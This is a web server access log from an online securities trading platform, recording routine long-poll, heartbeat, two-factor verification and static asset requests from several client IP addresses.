[09/Jan/2026:11:27:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:27:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929511753 HTTP/1.1" -
[09/Jan/2026:11:27:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929530225 HTTP/1.1" -
[09/Jan/2026:11:27:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929518869 HTTP/1.1" -
[09/Jan/2026:11:27:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929517003 HTTP/1.1" -
[09/Jan/2026:11:27:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929523996 HTTP/1.1" -
[09/Jan/2026:11:27:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929536237 HTTP/1.1" -
[09/Jan/2026:11:27:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929522079 HTTP/1.1" -
[09/Jan/2026:11:27:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929529165 HTTP/1.1" -
[09/Jan/2026:11:27:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929542228 HTTP/1.1" -
[09/Jan/2026:11:27:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:27:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:27:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929527136 HTTP/1.1" -
[09/Jan/2026:11:27:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929534319 HTTP/1.1" -
[09/Jan/2026:11:27:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929548234 HTTP/1.1" -
[09/Jan/2026:11:27:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929532205 HTTP/1.1" -
[09/Jan/2026:11:27:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929539427 HTTP/1.1" -
[09/Jan/2026:11:27:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929537378 HTTP/1.1" -
[09/Jan/2026:11:27:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:27:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:11:27:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929554223 HTTP/1.1" -
[09/Jan/2026:11:27:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:27:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:27:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:27:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929544587 HTTP/1.1" -
[09/Jan/2026:11:27:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929542465 HTTP/1.1" -
[09/Jan/2026:11:27:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929560226 HTTP/1.1" -
[09/Jan/2026:11:27:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929549638 HTTP/1.1" -
[09/Jan/2026:11:28:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929547492 HTTP/1.1" -
[09/Jan/2026:11:28:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929566228 HTTP/1.1" -
[09/Jan/2026:11:28:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929554789 HTTP/1.1" -
[09/Jan/2026:11:28:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929552567 HTTP/1.1" -
[09/Jan/2026:11:28:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929559918 HTTP/1.1" -
[09/Jan/2026:11:28:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929572231 HTTP/1.1" -
[09/Jan/2026:11:28:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929557650 HTTP/1.1" -
[09/Jan/2026:11:28:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929565047 HTTP/1.1" -
[09/Jan/2026:11:28:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929578230 HTTP/1.1" -
[09/Jan/2026:11:28:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929562710 HTTP/1.1" -
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 420
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/main.html?language=sc&version=HTML HTTP/1.1" 3570
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161913 HTTP/1.1" 940
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161913 HTTP/1.1" 1372
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161913 HTTP/1.1" 1781
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161913 HTTP/1.1" 1575
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161913 HTTP/1.1" 856
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161913 HTTP/1.1" 2300
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161913 HTTP/1.1" 2482
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161913 HTTP/1.1" 1567
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161913 HTTP/1.1" 1564
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161913 HTTP/1.1" 30725
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161913 HTTP/1.1" 2656
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161913 HTTP/1.1" 5726
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161913 HTTP/1.1" 2712
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161913 HTTP/1.1" 908
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161913 HTTP/1.1" 487
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161913 HTTP/1.1" 1364
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161913 HTTP/1.1" 2178
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161913 HTTP/1.1" 562
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161913 HTTP/1.1" 6874
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:11:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161913 HTTP/1.1" 146
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161913 HTTP/1.1" 29
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161913 HTTP/1.1" 199
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161913 HTTP/1.1" 27
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161913 HTTP/1.1" 980
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161913 HTTP/1.1" 418
